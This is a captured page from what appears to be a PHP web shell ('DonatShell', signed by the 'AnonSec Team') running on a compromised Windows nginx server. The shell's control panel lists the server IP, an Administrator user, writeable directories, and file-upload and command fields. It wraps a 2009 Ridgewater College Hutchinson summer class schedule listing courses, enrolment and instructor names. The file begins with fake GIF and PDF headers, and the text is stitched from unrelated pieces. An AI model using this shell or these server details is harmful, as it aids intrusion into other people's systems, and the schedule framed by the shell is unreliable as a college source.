GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/ClassLists/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/ClassLists/html/20101-Hutchinson-ClassList.csv.htm
Ridgewater College - Hutchinson Campus<br>Summer Semester 2009 - Class Schedule<br>Last Updated: May 04, 2009 12:48am<br>
				<table cellpadding="0" cellspacing="0">
		  <tr>
					<td>ClassID</td>
					<td>Class #</td>
					<td>Sec</td>
					<td>Class Title</td>
					<td>Cr</td>
					<td>Enr</td>
					<td>Max</td>
					<td>Meeting Dates</td>
					<td>Days</td>
					<td>Time</td>
					<td>Bldg</td>
					<td>Rm</td>
					<td>Instructor</td>
					<td>Notes</td>
					</tr>
					<tr><td>000243</td><td>ACCT1816</td><td>61</td><td>Prin Acct 2</td><td>4</td><td>3</td><td>16</td><td>06/08/2009 - 07/09/2009</td><td>MTWH</td><td>7:30am - 11:30am</td><td>Main</td><td>261</td><td>Staff</td><td>&nbsp;</td></tr><tr><td>000052</td><td>BIOL210</td><td>21</td><td>Human Anatomy</td><td>4</td><td>20</td><td>24</td><td>06/01/2009 - 07/02/2009<br>06/01/2009 - 07/02/2009</td><td>MTWH<br>&nbsp;T&nbsp;H</td><td>7:30am - 9:50am<br>10:00am - 1:50pm</td><td>Main<br>Main</td><td>460<br>380</td><td>Curtiss, Randy<br>Anderson, Lori</td><td>&nbsp;</td></tr><tr><td>000063</td><td>BIOL215</td><td>21</td><td>Microbiology</td><td>4</td><td>23</td><td>24</td><td>07/06/2009 - 08/05/2009<br>07/06/2009 - 08/05/2009</td><td>MTWH<br>&nbsp;T&nbsp;H</td><td>8:00am - 10:20am<br>10:45am - 2:35pm</td><td>Main<br>Main</td><td>157<br>380</td><td>Mills, Ann<br>Mills, Ann</td><td>&nbsp;</td></tr><tr><td>000053</td><td>CHEM101</td><td>21</td><td>Surv of Chem</td><td>4</td><td>24</td><td>24</td><td>06/01/2009 - 07/02/2009<br>06/01/2009 - 07/02/2009</td><td>MTWH<br>MT&nbsp;H</td><td>8:00am - 10:20am<br>10:30am - 1:20pm</td><td>Main<br>Main</td><td>360<br>370</td><td>Benson, John<br>Benson, John</td><td>&nbsp;</td></tr><tr><td>000505</td><td>DRFT2900</td><td>81</td><td>Internship</td><td>1.6</td><td>0</td><td>25</td><td>06/01/2009 - 08/05/2009<br> - </td><td>&nbsp;</td><td>ARR - ARR<br> - </td><td>&nbsp;</td><td>&nbsp;</td><td>Nass, Stacey<br>Moen, David</td><td>&nbsp;</td></tr><tr><td>000433</td><td>CST2505</td><td>41</td><td>Intro to Linux</td><td>3</td><td>5</td><td>24</td><td>06/01/2009 - 07/02/2009</td><td>&nbsp;</td><td>ARR - </td><td>ON</td><td>LINE</td><td>Hyberger, Mark</td><td>For info on starting the course, go to http://www.ridgewater.edu/common/assets/pdf/On<br>lineD2LFlyer.pdf</td></tr><tr><td>000382</td><td>EDA2900</td><td>81</td><td>Internship I</td><td>1.4</td><td>1</td><td>20</td><td>06/01/2009 - 08/05/2009</td><td>&nbsp;</td><td>ARR - ARR</td><td>&nbsp;</td><td>&nbsp;</td><td>Evenski, Joyce</td><td>&nbsp;</td></tr><tr><td>000383</td><td>EDA2910</td><td>81</td><td>Internship II</td><td>1.6</td><td>0</td><td>20</td><td>06/01/2009 - 08/05/2009</td><td>&nbsp;</td><td>ARR - ARR</td><td>&nbsp;</td><td>&nbsp;</td><td>Evenski, Joyce</td><td>&nbsp;</td></tr><tr><td>000371</td><td>EMSP1502</td><td>61</td><td>Intro to Emergency Care</td><td>1</td><td>13</td><td>16</td><td>06/02/2009 - 06/13/2009<br>06/02/2009 - 06/13/2009</td><td> T H<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S</td><td>6:00pm - 10:00pm<br>8:00am - 4:00pm</td><td>&nbsp;</td><td>&nbsp;</td><td>Schwarzrock, Amy<br>Schwarzrock, Amy</td><td>&nbsp;</td></tr><tr><td>000372</td><td>EMSP1502</td><td>81</td><td>Intro to Emergency Care</td><td>1</td><td>30</td><td>28</td><td>06/02/2009 - 06/13/2009<br>06/02/2009 - 06/13/2009</td><td> T H<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S</td><td>6:00pm - 10:00pm<br>8:00am - 4:00pm</td><td>HCMC<br>HCMC</td><td>ITV<br>ITV</td><td>Schwarzrock, Amy<br>Schwarzrock, Amy</td><td>HCMC Students</td></tr><tr><td>000373</td><td>EMSP1504</td><td>61</td><td>Anatomy & Physiology</td><td>2</td><td>13</td><td>16</td><td>06/23/2009 - 07/09/2009</td><td> T H</td><td>6:00pm - 10:00pm</td><td>&nbsp;</td><td>&nbsp;</td><td>Schwarzrock, Amy</td><td>&nbsp;</td></tr><tr><td>000374</td><td>EMSP1504</td><td>81</td><td>Anatomy & Physiology</td><td>2</td><td>30</td><td>28</td><td>06/23/2009 - 07/09/2009</td><td> T H</td><td>6:00pm - 10:00pm</td><td>HCMC</td><td>ITV</td><td>Schwarzrock, Amy</td><td>HCMC Campus</td></tr><tr><td>000375</td><td>EMSP1510</td><td>61</td><td>Ambulance Operations I</td><td>1</td><td>13</td><td>16</td><td>06/11/2009 - 06/18/2009<br>06/11/2009 - 06/18/2009</td><td> T H<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S</td><td>6:00pm - 10:00pm<br>8:00am - 4:00pm</td><td>&nbsp;</td><td>&nbsp;</td><td>Schwarzrock, Amy<br>Schwarzrock, Amy</td><td>&nbsp;</td></tr><tr><td>000376</td><td>EMSP1510</td><td>81</td><td>Ambulance Operations I</td><td>1</td><td>30</td><td>28</td><td>06/11/2009 - 06/18/2009<br>06/11/2009 - 06/18/2009</td><td> T H<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S</td><td>6:00pm - 10:00pm<br>8:00am - 4:00pm</td><td>HCMC<br>HCMC</td><td>ITV<br>ITV</td><td>Schwarzrock, Amy<br>Schwarzrock, Amy</td><td>HCMC Campus</td></tr><tr><td>000377</td><td>EMSP1530</td><td>61</td><td>Airway & Patient Assessmt</td><td>2</td><td>13</td><td>16</td><td>07/14/2009 - 08/04/2009<br>07/14/2009 - 08/04/2009</td><td> T H<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S</td><td>6:00pm - 10:00pm<br>8:00am - 4:00pm</td><td>&nbsp;</td><td>&nbsp;</td><td>Schwarzrock, Amy<br>Schwarzrock, Amy</td><td>&nbsp;</td></tr><tr><td>000378</td><td>EMSP1530</td><td>81</td><td>Airway & Patient Assessmt</td><td>2</td><td>30</td><td>28</td><td>07/14/2009 - 08/04/2009<br>07/14/2009 - 08/04/2009</td><td>     S<br>&nbsp;T&nbsp;H</td><td>8:00am - 4:00pm<br>6:00pm - 10:00pm</td><td>HCMC<br>HCMC</td><td>ITV<br>ITV</td><td>Staff<br>Schwarzrock, Amy</td><td>HCMC Campus</td></tr><tr><td>000380</td><td>EMSP1590</td><td>81</td><td>Field Clinical I</td><td>2</td><td>30</td><td>28</td><td>06/02/2009 - 08/04/2009</td><td>&nbsp;</td><td>ARR - </td><td>OFF</td><td>CAMPUS</td><td>Schwarzrock, Amy</td><td>HCMC Campus</td></tr><tr><td>000379</td><td>EMSP1590</td><td>82</td><td>Field Clinical I</td><td>2</td><td>13</td><td>16</td><td>06/02/2009 - 08/04/2009</td><td>&nbsp;</td><td>ARR - </td><td>OFF</td><td>CAMPUS</td><td>Schwarzrock, Amy</td><td>&nbsp;</td></tr><tr><td>000054</td><td>ENGL94</td><td>21</td><td>Pre Coll Comp II</td><td>3</td><td>6</td><td>28</td><td>06/15/2009 - 07/31/2009</td><td> T H</td><td>9:00am - 12:00pm</td><td>Main</td><td>249</td><td>Steffen, Kathy</td><td>&nbsp;</td></tr><tr><td>000055</td><td>ENGL95</td><td>21</td><td>Pre-College Reading</td><td>3</td><td>2</td><td>28</td><td>06/15/2009 - 07/31/2009</td><td> T H</td><td>12:30pm - 3:30pm</td><td>Main</td><td>475</td><td>Muegge, Sandra</td><td>&nbsp;</td></tr><tr><td>000056</td><td>ENGL121</td><td>21</td><td>Coll Comp I</td><td>3</td><td>22</td><td>30</td><td>06/01/2009 - 07/02/2009</td><td> T H</td><td>12:30pm - 4:30pm</td><td>Main</td><td>249</td><td>Steffen, Kathy</td><td>&nbsp;</td></tr><tr><td>000064</td><td>ENGL122</td><td>21</td><td>Coll Comp II</td><td>3</td><td>21</td><td>30</td><td>07/06/2009 - 08/05/2009</td><td> T H</td><td>12:30pm - 4:30pm</td><td>Main</td><td>249</td><td>Steffen, Kathy</td><td>&nbsp;</td></tr><tr><td>000390</td><td>GSCM1122</td><td>21</td><td>Oral & Writ Comm</td><td>2</td><td>6</td><td>25</td><td>06/01/2009 - 07/22/2009</td><td> T H</td><td>8:00am - 9:40am</td><td>Main</td><td>259</td><td>Staff</td><td>&nbsp;</td></tr><tr><td>000393</td><td>GSCI1302</td><td>21</td><td>Intro to Computers</td><td>2</td><td>3</td><td>22</td><td>06/01/2009 - 07/22/2009</td><td>  W</td><td>8:00am - 11:20am</td><td>Main</td><td>440</td><td>Staff</td><td>&nbsp;</td></tr><tr><td>000392</td><td>GSIS1602</td><td>21</td><td>Personal Fin. Mgmt.</td><td>2</td><td>2</td><td>25</td><td>06/01/2009 - 07/22/2009</td><td> T H</td><td>12:30pm - 2:10pm</td><td>Main</td><td>233</td><td>Staff</td><td>&nbsp;</td></tr><tr><td>000391</td><td>GSMS1222</td><td>21</td><td>App. Elem. Algebra</td><td>2</td><td>5</td><td>25</td><td>06/01/2009 - 07/22/2009</td><td> T H</td><td>10:00am - 11:40am</td><td>Main</td><td>233</td><td>Staff</td><td>&nbsp;</td></tr><tr><td>000394</td><td>GSWS1451</td><td>21</td><td>First Aid/Safety</td><td>1</td><td>7</td><td>25</td><td>06/01/2009 - 07/01/2009</td><td>  W</td><td>12:00pm - 2:40pm</td><td>Main</td><td>465</td><td>Staff</td><td>&nbsp;</td></tr><tr><td>000426</td><td>HBU1648</td><td>40</td><td>Ed2Go:Certificate in Grow</td><td>0</td><td>0</td><td>10</td><td>07/15/2009 - 09/02/2009</td><td>&nbsp;</td><td>ARR - ARR</td><td>&nbsp;</td><td>&nbsp;</td><td>Kelly, Patricia</td><td>&nbsp;</td></tr><tr><td>000184</td><td>MSM1818</td><td>81</td><td>Internship I</td><td>3</td><td>18</td><td>30</td><td>06/01/2009 - 08/05/2009</td><td>&nbsp;</td><td>ARR - ARR</td><td>&nbsp;</td><td>&nbsp;</td><td>Mullins, Lyle</td><td>&nbsp;</td></tr><tr><td>000187</td><td>MSM1819</td><td>81</td><td>Internship II</td><td>3</td><td>18</td><td>30</td><td>06/01/2009 - 08/05/2009</td><td>&nbsp;</td><td>ARR - ARR</td><td>&nbsp;</td><td>&nbsp;</td><td>Mullins, Lyle</td><td>&nbsp;</td></tr><tr><td>000058</td><td>MATH97</td><td>21</td><td>Beg Algebra</td><td>3</td><td>12</td><td>35</td><td>06/01/2009 - 07/02/2009</td><td>MTWH</td><td>8:00am - 9:50am</td><td>Main</td><td>233</td><td>Sieve, Michael</td><td>&nbsp;</td></tr><tr><td>000065</td><td>MATH98</td><td>21</td><td>Inter Algebra</td><td>3</td><td>24</td><td>35</td><td>07/06/2009 - 08/05/2009</td><td>MTWH</td><td>8:00am - 9:50am</td><td>Main</td><td>233</td><td>Heim, Douglas</td><td>&nbsp;</td></tr><tr><td>000059</td><td>MATH112</td><td>32</td><td>Coll Algebra</td><td>4</td><td>5</td><td>30</td><td>06/01/2009 - 07/02/2009</td><td>MTWH</td><td>10:00am - 12:30pm</td><td>Main</td><td>460</td><td>Pankow, Cheryl</td><td>&nbsp;</td></tr><tr><td>000067</td><td>MATH116</td><td>31</td><td>Trigonometry</td><td>3</td><td>3</td><td>38</td><td>07/06/2009 - 08/05/2009</td><td>MTWH</td><td>10:00am - 11:50am</td><td>Main</td><td>460</td><td>Heim, Douglas</td><td>&nbsp;</td></tr><tr><td>000295</td><td>NDT1030</td><td>51</td><td>Liq Pen Inspection</td><td>2</td><td>0</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000296</td><td>NDT1040</td><td>51</td><td>Intro Radiography</td><td>3</td><td>0</td><td>5</td><td>06/01/2009 - 07/16/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000297</td><td>NDT1050</td><td>51</td><td>Rad Insp I</td><td>2</td><td>0</td><td>5</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000298</td><td>NDT1051</td><td>51</td><td>Rad Insp II</td><td>2</td><td>0</td><td>2</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000299</td><td>NDT1060</td><td>21</td><td>Intro Ultrasonics</td><td>3</td><td>0</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>9:00am - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000300</td><td>NDT1070</td><td>21</td><td>Ult Insp I</td><td>2</td><td>0</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWH</td><td>9:00am - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000301</td><td>NDT1071</td><td>21</td><td>Ult Insp II</td><td>2</td><td>0</td><td>5</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>9:00am - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000302</td><td>NDT1080</td><td>51</td><td>Eddy Cur Inspection</td><td>3</td><td>2</td><td>6</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000303</td><td>NDT1090</td><td>51</td><td>Mag Part Inspection</td><td>2</td><td>1</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000304</td><td>NDT1100</td><td>51</td><td>Mfg Processes</td><td>2</td><td>1</td><td>8</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000305</td><td>NDT1140</td><td>51</td><td>Blueprint Reading</td><td>1</td><td>4</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000306</td><td>NDT1501</td><td>21</td><td>Intro NDT</td><td>1</td><td>0</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>8:30am - 10:00am</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000307</td><td>NDT1510</td><td>51</td><td>Fund Metallurgy</td><td>3</td><td>2</td><td>8</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000310</td><td>NDT1516</td><td>51</td><td>Codes/Specs</td><td>1</td><td>2</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000311</td><td>NDT1517</td><td>51</td><td>Rep Frms/Writing</td><td>1</td><td>1</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000324</td><td>NDT2020</td><td>51</td><td>Quality Improvement</td><td>2</td><td>1</td><td>5</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000325</td><td>NDT2021</td><td>51</td><td>Qual Imp Tools/Techniques</td><td>1</td><td>0</td><td>5</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000312</td><td>NDT2030</td><td>51</td><td>Ad Liq Pen Inspection</td><td>1</td><td>0</td><td>8</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000313</td><td>NDT2040</td><td>51</td><td>Isot/Rad Safety</td><td>3</td><td>4</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000314</td><td>NDT2049</td><td>51</td><td>Ad Radiog I</td><td>2</td><td>4</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000315</td><td>NDT2051</td><td>51</td><td>A Radiog II</td><td>3</td><td>3</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000316</td><td>NDT2060</td><td>51</td><td>Adv Ultras I</td><td>3</td><td>2</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000317</td><td>NDT2061</td><td>51</td><td>Adv Ultras II</td><td>2</td><td>1</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000409</td><td>NDT2062</td><td>21</td><td>Adv Ultra III</td><td>2</td><td>1</td><td>10</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000318</td><td>NDT2080</td><td>51</td><td>Adv Ed Cur I</td><td>2</td><td>3</td><td>5</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000319</td><td>NDT2081</td><td>51</td><td>Adv Ed Cur II</td><td>2</td><td>3</td><td>5</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000320</td><td>NDT2090</td><td>51</td><td>Adv Mag Particle</td><td>1</td><td>3</td><td>8</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000321</td><td>NDT2110</td><td>51</td><td>Acoustic Emission</td><td>1</td><td>0</td><td>4</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000322</td><td>NDT2150</td><td>51</td><td>Infrared Inspection</td><td>1</td><td>0</td><td>4</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000323</td><td>NDT2170</td><td>51</td><td>Ad Visual Inspection</td><td>2</td><td>2</td><td>5</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000326</td><td>NDT2240</td><td>81</td><td>Internship I                1</td><td>1.11</td><td>1</td><td>20</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000327</td><td>NDT2250</td><td>81</td><td>Internship II               1</td><td>1.11</td><td>0</td><td>20</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Frie, Gerald</td><td>&nbsp;</td></tr><tr><td>000328</td><td>NDT2260</td><td>51</td><td>Composite I</td><td>1</td><td>0</td><td>4</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Mullan, Michael</td><td>&nbsp;</td></tr><tr><td>000329</td><td>NDT2510</td><td>51</td><td>Leak Testing</td><td>1</td><td>0</td><td>5</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000330</td><td>NDT2527</td><td>51</td><td>Aws Weld Evaluation</td><td>2</td><td>0</td><td>5</td><td>06/01/2009 - 07/17/2009</td><td>MTWHF</td><td>ARR - ARR</td><td>Main</td><td>315</td><td>Padrnos, Wade</td><td>&nbsp;</td></tr><tr><td>000031</td><td>NA1125</td><td>71</td><td>Home Health Aide</td><td>1</td><td>9</td><td>20</td><td>05/18/2009 - 05/20/2009</td><td>M W</td><td>3:30pm - 9:30pm</td><td>Main</td><td>157</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000388</td><td>NA1125</td><td>72</td><td>Home Health Aide</td><td>1</td><td>9</td><td>25</td><td>06/23/2009 - 06/24/2009</td><td> TW</td><td>3:30pm - 9:30pm</td><td>Main</td><td>263</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000389</td><td>NA1125</td><td>73</td><td>Home Health Aide</td><td>1</td><td>10</td><td>25</td><td>07/27/2009 - 07/28/2009</td><td>MTWH</td><td>3:30pm - 9:30pm</td><td>Main</td><td>263</td><td>DeVries, Carol</td><td>&nbsp;</td></tr><tr><td>000431</td><td>NA1612</td><td>21</td><td>Nursing Assistant</td><td>3</td><td>6</td><td>20</td><td>06/08/2009 - 06/24/2009<br>06/25/2009 - 07/02/2009</td><td>MTWH<br>MTWH</td><td>9:00am - 2:00pm<br>3:30pm - 9:30pm</td><td>Main</td><td>259</td><td>DeVries, Carol<br>DeVries, Carol</td><td>To succeed in this class, students must have at least an 8th grade reading<br>level. If you are uncertain about your reading ability, contact your local<br>Adult Basic Education program to test prior to registration.</td></tr><tr><td>000384</td><td>NA1612</td><td>71</td><td>Nursing Assistant</td><td>3</td><td>21</td><td>20</td><td>05/26/2009 - 06/11/2009<br>06/15/2009 - 06/22/2009</td><td>MTWH<br>MTWH</td><td>4:30pm - 9:30pm<br>3:30pm - 9:30pm</td><td>Main</td><td>259</td><td>DeVries, Carol<br>DeVries, Carol</td><td>To succeed in this class, students must have at least an 8th grade reading<br>level. If you are uncertain about your reading ability, contact your local<br>Adult Basic Education program to test prior to registration.</td></tr><tr><td>000386</td><td>NA1612</td><td>72</td><td>Nursing Assistant</td><td>3</td><td>20</td><td>20</td><td>06/29/2009 - 07/15/2009<br>07/16/2009 - 07/23/2009</td><td>MTWH<br>MTWH</td><td>4:30pm - 9:30pm<br>3:30pm - 9:30pm</td><td>Main</td><td>259</td><td>DeVries, Carol<br>DeVries, Carol</td><td>To succeed in this class, students must have at least an 8th grade reading<br>level. If you are uncertain about your reading ability, contact your local<br>Adult Basic Education program to test prior to registration.</td></tr><tr><td>000387</td><td>NA1612</td><td>73</td><td>Nursing Assistant</td><td>3</td><td>7</td><td>20</td><td>07/27/2009 - 08/12/2009<br>08/13/2009 - 08/20/2009</td><td>MTWH<br>MTWH</td><td>4:30pm - 9:30pm<br>3:30pm - 9:30pm</td><td>Main</td><td>259</td><td>DeVries, Carol<br>DeVries, Carol</td><td>To succeed in this class, students must have at least an 8th grade reading<br>level. If you are uncertain about your reading ability, contact your local<br>Adult Basic Education program to test prior to registration.</td></tr><tr><td>000060</td><td>PSYC131</td><td>21</td><td>Intro to Psyc</td><td>4</td><td>18</td><td>37</td><td>06/01/2009 - 07/02/2009</td><td>M W</td><td>9:00am - 2:00pm</td><td>Main</td><td>263</td><td>Wood, Jon</td><td>&nbsp;</td></tr><tr><td>000061</td><td>SPCH121</td><td>21</td><td>Intro to Commun</td><td>3</td><td>20</td><td>23</td><td>06/01/2009 - 07/02/2009</td><td> T H</td><td>12:30pm - 4:30pm</td><td>Main</td><td>259</td><td>Bredeson, Julie</td><td>&nbsp;</td></tr><tr><td>000062</td><td>SPCH226</td><td>71</td><td>Interpers Com</td><td>3</td><td>11</td><td>30</td><td>06/01/2009 - 07/02/2009</td><td>M W</td><td>12:30pm - 4:30pm</td><td>Main</td><td>259</td><td>Pierce, Douglas</td><td>&nbsp;</td></tr><tr><td>000381</td><td>UCA2900</td><td>81</td><td>Internship I</td><td>1.6</td><td>1</td><td>20</td><td>06/01/2009 - 08/05/2009</td><td>&nbsp;</td><td>ARR - ARR</td><td>&nbsp;</td><td>&nbsp;</td><td>Evenski, Joyce</td><td>&nbsp;</td></tr></table>

Anon7 - 2022
AnonSec Team